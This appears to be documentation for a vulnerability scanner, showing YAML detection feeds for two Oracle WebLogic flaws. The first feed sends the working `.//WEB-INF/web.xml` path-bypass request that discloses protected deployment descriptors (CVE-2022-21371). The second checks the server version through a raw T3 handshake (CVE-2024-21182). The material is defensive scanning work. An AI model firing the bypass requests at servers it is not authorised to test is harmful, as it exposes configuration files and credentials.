GET {{webinf_path}} HTTP/1.0, for each of 3 values - Checks
wx.bannerfor(?m)\AHTTP/1\.[01] 200(?:[ \t][^\r\n]*)?\r?$(?s:.*?)\r?\n\r?\n(?s:.*?… - Parses / computes the next value with a Rhai script
- Checks
verdictfor^DESCRIPTOR_DISCLOSED→ finding QoD 75: GET … (non-origin-form request-target) returned HTTP 200 with the WEB-INF deployment descriptor, while GET /WEB-INF/web.xml did not — …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-21371
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-21371.yaml
Feed source — tests/vulnerabilities/weblogic/CVE-2022-21371.yaml
# Oracle WebLogic Server `.//WEB-INF/` deployment-descriptor disclosure — CVE-2022-21371
#
# The servlet specification forbids a container from serving anything under a
# web application's /WEB-INF/ directory. Oracle WebLogic Server 12.1.3.0.0 (and
# other containers with the same path-normalisation flaw) skips that check when
# the HTTP request-target is NOT origin-form — `GET .//WEB-INF/web.xml` (no
# leading slash) — and returns the protected deployment descriptor to an
# unauthenticated client. web.xml / weblogic.xml map every servlet and filter and
# often carry context-param values (JNDI names, DB URLs, sometimes credentials).
#
# Detection (QoD 75 — real exploitation, read-only proof): the feed performs the
# actual bypass and confirms the descriptor came back.
# 1. Control: GET /WEB-INF/web.xml. If the descriptor is already served on the
# plain path, the container has a different (broader) exposure that other
# checks report — this feed stays silent, exactly like the NASL.
# 2. Exploit: raw `GET .//WEB-INF/web.xml HTTP/1.0`, then the lowercase
# `.//web-inf/web.xml` (NASL) and `.//WEB-INF/weblogic.xml` (Nuclei). The
# request-target must go out verbatim, so `tcp_connect` is used — reqwest
# would rewrite it to `/WEB-INF/...` (TLS is wrapped automatically on https).
# 3. Fires only when the reply is HTTP 200 AND the body carries an opening and
# then a closing descriptor element line (the NASL's base + extra patterns,
# extended to `<weblogic-web-app>`).
#
# Better than the OpenVAS NASL:
# - the NASL reads the body only (`bodyonly:TRUE`) and ignores the status, so an
# error page that echoes XML can match; this feed requires HTTP 200;
# - it also tries `.//WEB-INF/weblogic.xml` (the WebLogic-specific descriptor,
# from the Nuclei template), not just web.xml;
# - the NASL pastes 1500 bytes of the descriptor into its report; web.xml may
# hold secrets in <context-param>, so this feed only ever captures the root
# element's NAME — never attributes or contents, even on a one-line descriptor.
# - everything is matched with `match` regexes, never copied into a script, so
# a reply over the 1 MB script string cap cannot abort the test.
#
# Nothing is written, executed or deleted on the target.
#
# Ported from OpenVAS/Greenbone NVT
# `2022/gb_web-inf_dotslashslash_2_info_disclosure.nasl` (OID 1.3.6.1.4.1.25623.1.0.117946,
# GPL-2.0-only); cross-checked with Nuclei `http/cves/2022/CVE-2022-21371.yaml`.
uid: 945d19ed-4b47-4d44-85b8-17bf832b384a
name: "Oracle WebLogic Server .//WEB-INF/ Deployment Descriptor Disclosure (CVE-2022-21371)"
description: |
Tests for CVE-2022-21371: Oracle WebLogic Server (and other servlet containers
with the same flaw) serves the protected /WEB-INF/web.xml deployment descriptor
when the request-target is `.//WEB-INF/web.xml` instead of `/WEB-INF/web.xml`.
The feed sends the bypass request and confirms an HTTP 200 reply carrying a
real deployment descriptor that the plain /WEB-INF/ path does not return.
cves: [CVE-2022-21371]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [weblogic, oracle, web-inf, web-xml, path-traversal, information-disclosure, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-21371"
- "https://www.oracle.com/security-alerts/cpujan2022.html"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-21371.yaml"
steps:
# ── 1. Control: is the descriptor already served on the plain path? ─────
- id: direct-webxml
action: http_request
method: GET
path: /WEB-INF/web.xml
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: direct_resp
on_failure:
set_vars:
direct_resp: false
# Regex-only (a `match` step, no script): a reply over Rhai's 1 MB string
# cap would abort the test if a script copied it. No on_match → no finding,
# just the stored verdict. Same element-line patterns as the NASL (open line
# before close line), extended to <weblogic-web-app>.
- id: direct-check
action: match
source: direct_resp.body
pattern: '(?m)^[ \t]*<(?:web-app|weblogic-web-app|servlet|servlet-mapping)(?: [^\r\n]+|>\r?$)(?s:.*)^[ \t]*</(?:web-app|weblogic-web-app|servlet|servlet-mapping)>\r?$'
store_as: direct_m
# ── 2. Exploit: non-origin-form request-target `.//WEB-INF/...` ──────────
- id: dotslash-webinf
action: tcp_connect
port: "{{port}}"
send: "GET {{webinf_path}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nAccept: */*\r\nConnection: close\r\n\r\n"
timeout_secs: 10
condition: "direct_m.matched == false"
store_as: wx
# A failed connect leaves store_as unset: clear the previous path's reply
# so it can't be re-matched for this path (stale-value FP).
on_failure:
set_vars:
wx: false
loop:
over:
- ".//WEB-INF/web.xml"
- ".//web-inf/web.xml"
- ".//WEB-INF/weblogic.xml"
var: webinf_path
# ── 3. HTTP 200 + descriptor element lines in the body ─────────────────
# Regex-only on the raw reply (no script copy → no 1 MB cap abort).
# The only capture is the root element NAME, so nothing from the
# descriptor (attributes, context-param secrets) reaches the finding.
- id: descriptor-check
action: match
source: wx.banner
pattern: '(?m)\AHTTP/1\.[01] 200(?:[ \t][^\r\n]*)?\r?$(?s:.*?)\r?\n\r?\n(?s:.*?)^[ \t]*<(web-app|weblogic-web-app|servlet|servlet-mapping)(?: [^\r\n]+|>\r?$)(?s:.*)^[ \t]*</(?:web-app|weblogic-web-app|servlet|servlet-mapping)>\r?$'
condition: "direct_m.matched == false"
store_as: desc_m
- id: descriptor-verdict
action: script
condition: "direct_m.matched == false"
code: |
let verdict = "";
if desc_m.matched == true && desc_m.captures.len() > 0 {
verdict = "DESCRIPTOR_DISCLOSED root element <" + desc_m.captures[0] + ">";
}
verdict
store_as: verdict
# ── 4. Confirm the disclosure ──────────────────────────────────────────
- id: descriptor-disclosed
action: match
source: verdict
pattern: "^DESCRIPTOR_DISCLOSED "
condition: "direct_m.matched == false"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "GET {{webinf_path}} (non-origin-form request-target) returned HTTP 200 with the WEB-INF deployment descriptor, while GET /WEB-INF/web.xml did not — {{verdict}}"
stop: trueOracle WebLogic Server T3/IIOP Unauthenticated Data Disclosure
| CVE | CVE-2024-21182 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | tcp_dialogue, match, http_request · highest QoD 50 |
| Feed | tests/vulnerabilities/weblogic/CVE-2024-21182.yaml |
The target runs Oracle WebLogic Server 12.2.1.4.0 or 14.1.1.0.0, the releases affected by CVE-2024-21182: an unauthenticated attacker with network access over T3 or IIOP can read all data WebLogic Server can access. Detection is version based (T3 handshake, else the admin console footer); the patch level is not visible remotely, so a server that already applied the July 2024 Critical Patch Update is reported as well.
How noctis detects it
- TCP dialogue: one binary protocol frame
- Checks
t3.transcriptforHELO:(?:12\.2\.1\.4\.0|14\.1\.1\.0\.0)\.(?:false|true)→ finding QoD 50: Oracle WebLogic Server affected by CVE-2024-21182 — T3 reachable - HTTP(S) request
GET /console/login/LoginForm.jsp - Checks
console.bodyforWebLogic Server Version: (?:12\.2\.1\.4\.0|14\.1\.1\.0\.0)(?:[^0-9.]|…→ finding QoD 50: Oracle WebLogic Server affected by CVE-2024-21182 — admin console version
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-21182
- https://www.oracle.com/security-alerts/cpujul2024.html
Feed source — tests/vulnerabilities/weblogic/CVE-2024-21182.yaml
# Oracle WebLogic Server Core — unauthenticated data disclosure via T3/IIOP
# (CVE-2024-21182, Oracle CPU July 2024).
#
# Oracle has published no technical detail for this bug, and the only public
# "PoC" is an unvetted low-star repository, so the feed does not try to trigger
# it (and needs no tcp_open/tcp_send multi-round-trip exchange: reading the
# version takes a single T3 request/reply). It is a version check on the
# protocol the bug is reached through. Listed in CISA KEV (June 2026).
#
# 1. T3 handshake (primary). WebLogic multiplexes T3 on its HTTP/HTTPS
# listen port (7001 / 7002 for t3s). A client sends the text handshake
# "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n" and the server answers
# "HELO:<release>.false\n...". A HELO carrying 12.2.1.4.0 or 14.1.1.0.0
# means an affected release answers T3, i.e. the attack surface is
# reachable (Oracle's own mitigation is a connection filter that refuses T3).
# 2. Admin console (fallback, when T3 did not answer). The console login page
# /console/login/LoginForm.jsp prints "WebLogic Server Version: <release>"
# in its footer. Lower confidence: T3 may be filtered, but IIOP — also
# affected — shares the port and is not checked here.
#
# Limitation, stated in every finding: neither source shows the patch level.
# A 12.2.1.4.0 / 14.1.1.0.0 server that applied the July 2024 CPU (or later)
# still reports the same release string, so it is reported too. Hence QoD 50
# (version detection), never higher.
uid: 00870915-e856-4df5-a764-54645757b25c
name: "Oracle WebLogic Server T3/IIOP Unauthenticated Data Disclosure (CVE-2024-21182)"
description: |
The target runs Oracle WebLogic Server 12.2.1.4.0 or 14.1.1.0.0, the releases
affected by CVE-2024-21182: an unauthenticated attacker with network access
over T3 or IIOP can read all data WebLogic Server can access. Detection is
version based (T3 handshake, else the admin console footer); the patch level
is not visible remotely, so a server that already applied the July 2024
Critical Patch Update is reported as well.
cves: [CVE-2024-21182]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.25
tags: [oracle, weblogic, t3, iiop, info-disclosure, version-check, kev, web]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-21182"
- "https://www.oracle.com/security-alerts/cpujul2024.html"
steps:
# T3 handshake, sent as one raw frame (the payload carries its own "\n" line
# breaks and the terminating blank line). Over an https service the socket is
# TLS-wrapped automatically, which is t3s on WebLogic's SSL listen port.
# "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n"
- id: t3-handshake
action: tcp_dialogue
port: "{{port}}"
read_banner: false
timeout_secs: 10
send_hex: "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a"
store_as: t3
# Affected release in the HELO. The release is always followed by
# ".false"/".true" (the server's "is a client?" flag), which anchors the
# match so e.g. 12.2.1.4.01 can never match.
- id: t3-affected-version
action: match
condition: "t3.connected == true"
source: t3.transcript
pattern: "HELO:(?:12\\.2\\.1\\.4\\.0|14\\.1\\.1\\.0\\.0)\\.(?:false|true)"
on_match:
finding:
title: "Oracle WebLogic Server affected by CVE-2024-21182 — T3 reachable"
description: "The T3 handshake on this port was answered by an affected WebLogic release (12.2.1.4.0 or 14.1.1.0.0), so the T3 protocol CVE-2024-21182 is exploited through is reachable without authentication. The patch level is not visible remotely: verify that the July 2024 Critical Patch Update (or later) is installed."
remediation: "Apply the Oracle Critical Patch Update of July 2024 or later. Until then, block T3/T3s and IIOP from untrusted networks with a WebLogic connection filter (weblogic.security.net.ConnectionFilterImpl) or disable IIOP."
confidence_delta: 0.30
qod: 50
evidence: "T3 handshake reply: {{t3.transcript}}"
stop: true
# Fallback: the admin console footer. Only reached when T3 did not identify
# an affected release (the step above stops on a match).
- id: console-login
action: http_request
method: GET
path: "/console/login/LoginForm.jsp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: console
- id: console-affected-version
action: match
condition: "console.status == 200"
source: console.body
pattern: "WebLogic Server Version: (?:12\\.2\\.1\\.4\\.0|14\\.1\\.1\\.0\\.0)(?:[^0-9.]|$)"
on_match:
finding:
title: "Oracle WebLogic Server affected by CVE-2024-21182 — admin console version"
description: "The WebLogic administration console reports an affected release (12.2.1.4.0 or 14.1.1.0.0). T3 did not answer an affected handshake on this port, but IIOP may still be reachable. The patch level is not visible remotely: verify that the July 2024 Critical Patch Update (or later) is installed."
remediation: "Apply the Oracle Critical Patch Update of July 2024 or later, restrict T3/T3s and IIOP to trusted networks, and do not expose the administration console to untrusted networks."
confidence_delta: 0.20
qod: 50
evidence: "Console login page at /console/login/LoginForm.jsp reports an affected WebLogic Server version"